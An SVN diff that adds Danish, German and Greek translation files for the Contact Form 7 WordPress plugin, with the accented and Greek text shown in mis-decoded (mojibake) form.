+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:368
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Dit bidrag behÃžves, hvis pluginnet skal blive bedre."
+
+#: d:\wordpress\plugins\contact-form-7/admin/admin.php:369
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Udvikling af plugins og brugersupport er faktisk hÃ¥rdt arbejde. StÃžt det!"
+
+#: d:\wordpress\plugins\contact-form-7/includes/classes.php:536
+msgid "Untitled"
+msgstr "Uden titel"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Din besked blev sendt. Tak."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:8
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Beskeden blev ikke sendt. PrÃžv venligst senere eller kontakt administratoren pÃ¥ anden mÃ¥de. "
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Kontrollen af indtastningerne viste fejl. GennemgÃ¥ venligst felterne og send det igen"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "AcceptÃ©r venligst betingelserne for at fortsÃŠtte."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "E-mail-adressen er ikke gyldig."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Udfyld venligst de pÃ¥krÃŠvede felter."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Dit indtastede svar er forkert."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Dit indtastede svar er ikke korrekt."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Filupload mislykkedes"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Denne filtype er ikke tilladt."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Filen er for stor."
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:33
+msgid "Your Name"
+msgstr "Dit navn"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:33
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:35
+msgid "(required)"
+msgstr "(pÃ¥krÃŠvet)"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:35
+msgid "Your Email"
+msgstr "Din e-mail"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:37
+msgid "Subject"
+msgstr "Emne"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:39
+msgid "Your Message"
+msgstr "Din besked"
+
+#: d:\wordpress\plugins\contact-form-7/includes/functions.php:41
+#: d:\wordpress\plugins\contact-form-7/modules/submit.php:37
+msgid "Send"
+msgstr "Send"
+
+#: d:\wordpress\plugins\contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "For at bruge CAPTCHA skal du have<a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> pluginnet installeret."
+
+#~ msgid "(You need WordPress 2.7 or greater to use this feature)"
+#~ msgstr ""
+#~ "(Du skal bruge WordPress 2.7 eller nyere for at bruge denne funktion)"
+#~ msgid "Delete this contact form"
+#~ msgstr "Slet denne kontakt formular"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-de_DE.po	(revision 44)
@@ -0,0 +1,500 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form | V2.0.1\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-01 06:43+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Ivan Graf <contact@bildergallery.com>\n"
+"Language-Team: Ivan Graf\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: SWITZERLAND\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Die Datenbanktabelle fÃŒr Contact Form 7 ist nicht vorhanden.</strong> Sie mÃŒssen zuerst eine <a href=\"%s\">Tabelle erstellen</a>."
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Die Datenbanktabelle fÃŒr Contact Form 7 ist nicht vorhanden.</strong>"
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:118
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "Neues Formular"
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopieren Sie diesen Code und fÃŒgen ihn in Ihrem Artikel, Seite oder Text-Widget ein."
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:327
+msgid "Save"
+msgstr "Speichern"
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "Kopieren"
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "LÃ¶schen"
+
+#: contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Soll dieses Kontaktformular wirklich gelÃ¶scht werden?\n"
+"'Abbrechen' um zu stoppen oder 'OK' um zu lÃ¶schen."
+
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "Formular"
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "An:"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "Von:"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "Betreff:"
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "ZusÃ€tzliche Kopfzeilen:"
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "Datei AnhÃ€nge:"
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "HTML-Content-Typ verwenden"
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "Nachrichtentext:"
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "Verwende Mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "Meldungen"
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "Ihre Nachricht wurde erfolgreich versendet. Vielen Dank!"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "Das Versenden der E-Mail war fehlerhaft. Bitte versuchen Sie es nocheinmal zu einem spÃ€teren Zeitpunkt oder informieren Sie den Adminstrator."
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Die Webseite Akismet beurteilt Ihren Beitrag als Spam."
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "Fehler beim AusfÃŒllen des Formulars!"
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "Dieses Feld muss ausgefÃŒllt werden!"
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "Die eingegebene Email Adresse ist ungÃŒltig!"
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Sie mÃŒssen dieses Bedingungsfeld akzeptieren!"
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Der Absender beantwortet im Quiz die Frage falsch."
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Der eingegebene Code stimmt nicht mit dem angezeigten Captcha Code ÃŒberein!"
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "Fehler aus unbekannten GrÃŒnden beim hochladen der Datei."
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "Die hochgeladene Datei ist ein nicht erlaubter Dateityp!"
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "Die hochgeladene Datei ist zu gross!"
+
+#: contact-form-7/admin/admin-panel.php:309
+msgid "Additional Settings"
+msgstr "ZusÃ€tzliche Einstellungen"
+
+#: contact-form-7/admin/admin.php:118
+msgid "Contact"
+msgstr "Formular"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit Contact Forms"
+msgstr "Bearbeite Contact Forms"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit"
+msgstr "Bearbeiten"
+
+#: contact-form-7/admin/admin.php:168
+msgid "optional"
+msgstr "optional"
+
+#: contact-form-7/admin/admin.php:169
+msgid "Generate Tag"
+msgstr "Generiere Tag"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Text field"
+msgstr "Text Feld"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Email field"
+msgstr "Email Feld"
+
+#: contact-form-7/admin/admin.php:172
+msgid "Text area"
+msgstr "Text Feld"
+
+#: contact-form-7/admin/admin.php:173
+msgid "Drop-down menu"
+msgstr "AuswahlmenÃŒ"
+
+#: contact-form-7/admin/admin.php:174
+msgid "Checkboxes"
+msgstr "Auswahlbox"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Radio buttons"
+msgstr "Radio Button"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Acceptance"
+msgstr "Zustimmung"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Make this checkbox checked by default?"
+msgstr "Auswahlbox standardmÃ€ssig aktivieren?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Make this checkbox work inversely?"
+msgstr "Auswahlbox umkehren (Invert)?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Bedeutet, dass der Besucher die Bedingungen akzeptiert, wenn er die Auswahlbox deaktiviert."
+
+#: contact-form-7/admin/admin.php:180
+msgid "CAPTCHA"
+msgstr "Captcha"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Quiz"
+msgstr "Quiz"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Quizzes"
+msgstr "Quiz"
+
+#: contact-form-7/admin/admin.php:183
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* Quiz|Antwort (z.B. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:184
+msgid "File upload"
+msgstr "Datei Upload"
+
+#: contact-form-7/admin/admin.php:185
+msgid "bytes"
+msgstr "Bytes"
+
+#: contact-form-7/admin/admin.php:186
+msgid "Submit button"
+msgstr "Senden Button"
+
+#: contact-form-7/admin/admin.php:187
+msgid "Name"
+msgstr "Name"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Required field?"
+msgstr "Pflichtfeld?"
+
+#: contact-form-7/admin/admin.php:189
+msgid "Allow multiple selections?"
+msgstr "Mehrfachauswahl erlauben?"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Insert a blank item as the first option?"
+msgstr "Leere Position als die erste Option einfÃŒgen?"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Make checkboxes exclusive?"
+msgstr "Exklusive Auswahlboxen erstellen?"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Choices"
+msgstr "MÃ¶glichkeiten"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Label"
+msgstr "Beschriftung"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Default value"
+msgstr "Standardwert"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Akismet"
+msgstr "Askimet"
+
+#: contact-form-7/admin/admin.php:196
+msgid "This field requires author's name"
+msgstr "Dieses Feld erfordert den Namen des Autors"
+
+#: contact-form-7/admin/admin.php:197
+msgid "This field requires author's URL"
+msgstr "Dieses Feld erfordert die URL des Autors"
+
+#: contact-form-7/admin/admin.php:198
+msgid "This field requires author's email address"
+msgstr "Dieses Feld erfordert die Email Adresse des Autors"
+
+#: contact-form-7/admin/admin.php:199
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopieren Sie diesen Code und fÃŒgen ihn in das Formular links ein."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Foreground color"
+msgstr "Vordergrundfarbe"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Background color"
+msgstr "Hintergrundfarbe"
+
+#: contact-form-7/admin/admin.php:202
+msgid "Image size"
+msgstr "Bild GrÃ¶sse"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Small"
+msgstr "Klein"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Medium"
+msgstr "Mittel"
+
+#: contact-form-7/admin/admin.php:205
+msgid "Large"
+msgstr "Gross"
+
+#: contact-form-7/admin/admin.php:206
+msgid "Image settings"
+msgstr "Bild Einstellungen"
+
+#: contact-form-7/admin/admin.php:207
+msgid "Input field settings"
+msgstr "Eingabefeld Einstellungen"
+
+#: contact-form-7/admin/admin.php:208
+msgid "For image"
+msgstr "FÃŒr das Bild"
+
+#: contact-form-7/admin/admin.php:209
+msgid "For input field"
+msgstr "FÃŒr das Eingabefeld"
+
+#: contact-form-7/admin/admin.php:210
+msgid "* One choice per line."
+msgstr "* Eine MÃ¶glichkeit pro Zeile."
+
+#: contact-form-7/admin/admin.php:211
+msgid "Show"
+msgstr "Anzeigen"
+
+#: contact-form-7/admin/admin.php:212
+msgid "Hide"
+msgstr "Verstecken"
+
+#: contact-form-7/admin/admin.php:213
+msgid "File size limit"
+msgstr "DateigrÃ¶ssen Limit"
+
+#: contact-form-7/admin/admin.php:214
+msgid "Acceptable file types"
+msgstr "Akzeptierte Dateitypen"
+
+#: contact-form-7/admin/admin.php:215
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Hinweis: Um Captcha zu verwenden, muss dieses Plugin installiert sein."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form created."
+msgstr "Kontaktformular erstellt"
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form saved."
+msgstr "Kontaktformular gespeichert"
+
+#: contact-form-7/admin/admin.php:232
+msgid "Contact form deleted."
+msgstr "Kontaktformular gelÃ¶scht"
+
+#: contact-form-7/admin/admin.php:235
+msgid "Database table created."
+msgstr "Datenbanktabelle erstellt."
+
+#: contact-form-7/admin/admin.php:238
+msgid "Failed to create database table."
+msgstr "Fehler beim Erstellen einer Datenbanktabelle."
+
+#: contact-form-7/admin/admin.php:311
+msgid "Contact form"
+msgstr "Kontaktformular"
+
+#: contact-form-7/admin/admin.php:345
+msgid "Settings"
+msgstr "Einstellungen"
+
+#: contact-form-7/admin/admin.php:366
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 braucht Ihre UnterstÃŒtzung. Bitte spenden Sie noch heute."
+
+#: contact-form-7/admin/admin.php:367
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Ist dieses Plugin nÃŒtzlich fÃŒr Sie? Wenn es Ihnen gefÃ€llt, helfen Sie dem Entwickler."
+
+#: contact-form-7/admin/admin.php:368
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Ihr Beitrag ist fÃŒr die Herstellung dieses Plugin sehr nÃŒtzlich."
+
+#: contact-form-7/admin/admin.php:369
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Die Entwicklung eines Plugins sowie die vielen Support Anfragen verbrauchen viel Zeit. Helfen Sie uns mit einer Spende."
+
+#: contact-form-7/includes/classes.php:536
+msgid "Untitled"
+msgstr "Ohne Titel"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Ihre Nachricht wurde erfolgreich versendet. Vielen Dank!"
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Das Versenden der E-Mail war fehlerhaft. Bitte versuchen Sie es nocheinmal zu einem spÃ€teren Zeitpunkt oder informieren Sie den Adminstrator."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Fehler beim AusfÃŒllen des Formulars. Bitte ÃŒberprÃŒfen Sie Ihre Eingaben und drÃŒcken nochmals auf versenden."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "Bitte akzeptieren Sie die Bedingungen, um fortzufahren."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Die E-Mail-Adresse scheint nicht gÃŒltig zu sein."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Bitte fÃŒllen Sie dieses Pflichtfeld aus!"
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Ihr eingegebener Code ist falsch."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Ihre eingegebene Antwort ist falsch!"
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Fehler beim hochladen der Datei."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Dieser Dateityp ist nicht erlaubt."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Diese Datei ist zu gross."
+
+#: contact-form-7/includes/functions.php:33
+msgid "Your Name"
+msgstr "Ihre Name"
+
+#: contact-form-7/includes/functions.php:33
+#: contact-form-7/includes/functions.php:35
+msgid "(required)"
+msgstr "(Pflichtfeld)"
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Email"
+msgstr "Ihre Email"
+
+#: contact-form-7/includes/functions.php:37
+msgid "Subject"
+msgstr "Betreff"
+
+#: contact-form-7/includes/functions.php:39
+msgid "Your Message"
+msgstr "Ihre Nachricht"
+
+#: contact-form-7/includes/functions.php:41
+#: contact-form-7/modules/submit.php:37
+msgid "Send"
+msgstr "Senden"
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Um den Captcha Code anzuzeigen, muss dieses <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Plugin</a> installiert sein."
+
+#~ msgid "(You need WordPress 2.7 or greater to use this feature)"
+#~ msgstr ""
+#~ "(Um diese Funktion nutzen zu kÃ¶nnen, benÃ¶tigen Sie WordPress Version 2.7 "
+#~ "oder hÃ¶her)"
+#~ msgid "Delete this contact form"
+#~ msgstr "Dieses Kontaktformular lÃ¶schen."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-el.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-el.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-el.po	(revision 44)
@@ -0,0 +1,556 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-el\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-05-31 23:05+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Î ÏÏÎŽÏÎ¿ÎŒÎ¿Ï Î€ÏÎ±Î»Î¹ÎºÎ¯ÎŽÎ·Ï <pr.tsalikidis@gmail.com>\n"
+"Language-Team:  <http://friedlich.wordpress.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Greek\n"
+"X-Poedit-Country: GREECE/ CYPRUS\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Contact form"
+msgstr "ÎŠÏÏÎŒÎ± ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±Ï"
+
+#: contact-form-7/admin/admin-panel.php:6
+#: contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "Î ÏÎ¿ÏÎžÎ®ÎºÎ· ÎœÎ­Î±Ï"
+
+#: contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "ÎÎœÏÎ¹Î³ÏÎ¬ÏÏÎµ Î±Ï
+ÏÏÎœ ÏÎ¿Îœ ÎºÏÎŽÎ¹ÎºÎ± ÎºÎ±Î¹ ÎµÏÎ¹ÎºÎ¿Î»Î»Î®ÏÏÎµ ÏÎ¿Îœ ÏÏÎ¿ ÏÎµÏÎ¹ÎµÏÏÎŒÎµÎœÎ¿ ÏÎ¿Ï
+ Î¬ÏÎžÏÎ¿Ï
+ Î® ÏÎ·Ï ÏÎµÎ»Î¯ÎŽÎ±Ï ÏÎ±Ï Î® ÎŒÎ¹Î±Ï ÎŒÎ¿ÎœÎ¬ÎŽÎ±Ï ÎºÎµÎ¹ÎŒÎ­ÎœÎ¿Ï
+."
+
+#: contact-form-7/admin/admin-panel.php:50
+#: contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "ÎÏÎ¿ÎžÎ®ÎºÎµÏ
+ÏÎ·"
+
+#: contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "ÎÎœÏÎ¹Î³ÏÎ±ÏÎ®"
+
+#: contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "ÎÎ¹Î±Î³ÏÎ±ÏÎ®"
+
+#: contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"ÎÎ¯ÏÏÎµ Î­ÏÎ¿Î¹ÎŒÎ¿Ï ÎœÎ± ÎŽÎ¹Î±Î³ÏÎ¬ÏÎµÏÎµ Î±Ï
+ÏÎ® ÏÎ· ÏÏÏÎŒÎ± ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±Ï.\n"
+" 'ÎÎ' Î³Î¹Î± ÎŽÎ¹Î±Î³ÏÎ±ÏÎ®."
+
+#: contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "ÎŠÏÏÎŒÎ±"
+
+#: contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/admin/admin-panel.php:105
+#: contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "Î ÏÎ¿Ï:"
+
+#: contact-form-7/admin/admin-panel.php:109
+#: contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "ÎÏÏ:"
+
+#: contact-form-7/admin/admin-panel.php:113
+#: contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "ÎÎ­ÎŒÎ±:"
+
+#: contact-form-7/admin/admin-panel.php:118
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "ÎÏÎ¹ÏÏÏÏÎžÎµÏÎ± headers:"
+
+#: contact-form-7/admin/admin-panel.php:122
+#: contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "Î£Ï
+ÎœÎ·ÎŒÎŒÎ­ÎœÎ± Î±ÏÏÎµÎ¯Î±:"
+
+#: contact-form-7/admin/admin-panel.php:124
+#: contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Î§ÏÎµÎ¹Î¬Î¶ÎµÏÏÎµ ÏÎ¿ WordPress 2.7 Î® ÎŒÎµÏÎ±Î³ÎµÎœÎ­ÏÏÎµÏÎ¿ Î³Î¹Î± ÎœÎ± ÏÏÎ·ÏÎ¹ÎŒÎ¿ÏÎ¿Î¹Î®ÏÎµÏÎµ Î±Ï
+ÏÏ ÏÎ¿ ÏÎ±ÏÎ±ÎºÏÎ·ÏÎ¹ÏÏÎ¹ÎºÏ.)"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "ÎÏÎ¿ÏÏÎ¿Î»Î® ÏÎµ ÎŒÎ¿ÏÏÎ® HTML"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "Î£ÏÎŒÎ± ÎŒÎ·ÎœÏÎŒÎ±ÏÎ¿Ï:"
+
+#: contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "Î§ÏÎ®ÏÎ· mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "ÎÎ·ÎœÏÎŒÎ±ÏÎ±"
+
+#: contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "Î€Î¿ ÎŒÎ®ÎœÏ
+ÎŒÎ± ÏÎ¿Ï
+ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î± ÏÏÎ¬Î»ÎžÎ·ÎºÎµ ÎµÏÎ¹ÏÏ
+ÏÏÏ."
+
+#: contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "Î€Î¿ ÎŒÎ®ÎœÏ
+ÎŒÎ± ÏÎ¿Ï
+ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î± Î±ÏÎ­ÏÏ
+ÏÎµ ÎœÎ± ÏÏÎ±Î»ÎµÎ¯."
+
+#: contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Î€Î¿ Akismet ÎžÎµÏÏÎ·ÏÎµ ÏÎ·Îœ ÎµÎœÎ­ÏÎ³ÎµÎ¹Î± Î±ÏÎ¿ÏÏÎ¿Î»Î®Ï Î±ÎœÎµÏÎ¹ÎžÏÎŒÎ·ÏÎ·."
+
+#: contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "Î£Ï
+ÎœÎ­Î²Î·ÏÎ±Îœ ÏÏÎ¬Î»ÎŒÎ±ÏÎ± ÎµÎ³ÎºÏ
+ÏÏÏÎ·ÏÎ±Ï."
+
+#: contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr "Î¥ÏÎ¬ÏÏÎµÎ¹ ÏÎµÎŽÎ¯Î¿ ÏÎ¿Ï
+ Î¿ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î±Ï ÏÏÎ­ÏÎµÎ¹ ÎœÎ± ÏÏ
+ÎŒÏÎ»Î·ÏÏÏÎµÎ¹."
+
+#: contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr "Î ÎŽÎ¹ÎµÏÎžÏ
+ÎœÏÎ· email ÏÎ¿Ï
+ ÎµÎ¹ÏÎ®Î³Î±Î³Îµ Î¿ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î±Ï ÎµÎ¯ÎœÎ±Î¹ Î¬ÎºÏ
+ÏÎ·."
+
+#: contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Î¥ÏÎ¬ÏÏÎµÎ¹ ÏÎµÎŽÎ¯Î¿ ÏÏÏÎœ ÏÎ¿Ï
+ Î¿ Î±ÏÎ¿ÏÏÎ¿Î»Î­Î±Ï ÏÏÎ­ÏÎµÎ¹ ÎœÎ± Î±ÏÎ¿ÎŽÎµÏÎžÎµÎ¯."
+
+#: contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Î Î±ÏÎ¿ÏÏÎ¿Î»Î­Î±Ï ÎŽÎµÎœ ÎµÎ¹ÏÎ¬Î³ÎµÎ¹ ÏÎ·Îœ ÏÏÏÏÎ® Î±ÏÎ¬ÎœÏÎ·ÏÎ· ÏÏÎ¿ ÎºÎ¿Ï
+ÎÎ¶."
+
